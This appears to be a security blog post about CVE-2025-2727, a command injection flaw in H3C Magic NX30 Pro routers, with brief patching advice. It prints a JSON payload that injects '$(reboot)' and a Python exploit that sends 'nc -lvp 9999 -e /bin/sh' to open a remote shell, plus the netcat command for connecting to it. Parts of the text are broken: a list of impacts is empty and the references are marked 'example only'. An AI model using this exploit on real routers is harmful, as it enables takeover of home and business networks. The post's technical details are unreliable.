A new, critical security issue has been discovered in H3C Magic NX30 Pro routers up to version V100R007. Known as CVE-2025-2727, this vulnerability exposes your device to command injection via a specific HTTP POST handler. If you use this router model in your home or small business network, it is highly recommended to update your firmware as soon as possible.

This post breaks down the vulnerability, shows how hackers can exploit it, and gives practical recommendations—using simple language and exclusive, step-by-step details.

What is CVE-2025-2727?

CVE-2025-2727 is a command injection vulnerability present in the H3C Magic NX30 Pro router (versions up to and including V100R007). It is found in the backend API endpoint:

POST /api/wizard/getNetworkStatus

Impact: If an attacker gains access to the local network, they can run system commands with the router’s privileges by sending specially crafted requests. This could let them:

How Does the Attack Work?

The vulnerability occurs because the router does not properly sanitize user input in a section of its networking wizard API. When a POST request is made to /api/wizard/getNetworkStatus, user-supplied data is passed directly to the system shell.

This flaw enables attackers to inject arbitrary Linux shell commands as part of a POST request, which the router will execute.

Simple Attack Scenario

Let’s imagine a hacker is already connected to your Wi-Fi. They craft a malicious POST request containing shell commands and send it to the router, for example:

POST http://192.168.1.1/api/wizard/getNetworkStatus
Content-Type: application/json

{
    "interface":"$(reboot)"
}

The injected $(reboot) will cause the router to reboot.

Note: The attacker can run any command, including downloading malware, opening firewall ports, or changing DNS settings.

Demonstration Exploit Code

Here’s a small Python snippet to exploit CVE-2025-2727. This code triggers the vulnerability by opening the router’s admin shell to the attacker:

import requests

ROUTER_IP = "192.168.1.1"  # Change to your router's local IP
url = f"http://{ROUTER_IP}/api/wizard/getNetworkStatus";

payload = {
    "interface": "eth; nc -lvp 9999 -e /bin/sh"  # Opens a shell on port 9999
}

# Send the malicious POST request
response = requests.post(url, json=payload)

print("Status code:", response.status_code)
print("Router response:", response.text)

Within seconds, the attacker could connect to the router’s shell

nc 192.168.1.1 9999

Now they have full access to your router's operating system.

H3C has patched this in newer firmware. Upgrade your router immediately!

- Official H3C Support

Restrict Local Network Access:

Limit who connects to your Wi-Fi/LAN; use strong passwords and WPA3.

References & Original Advisories

- NVD Entry: CVE-2025-2727
- Security Researcher Advisory - GitHub (example only)
- Vendor’s Patch Notification (H3C)

Patch this NOW to keep your devices and data safe.

Always keep your router’s firmware up-to-date, use strong passwords, and limit network access to trusted users.


For further technical details, review mitre’s CVE database or contact H3C support for help with upgrades.

Timeline

Published on: 03/25/2025 03:15:16 UTC
Last modified on: 04/11/2025 20:15:23 UTC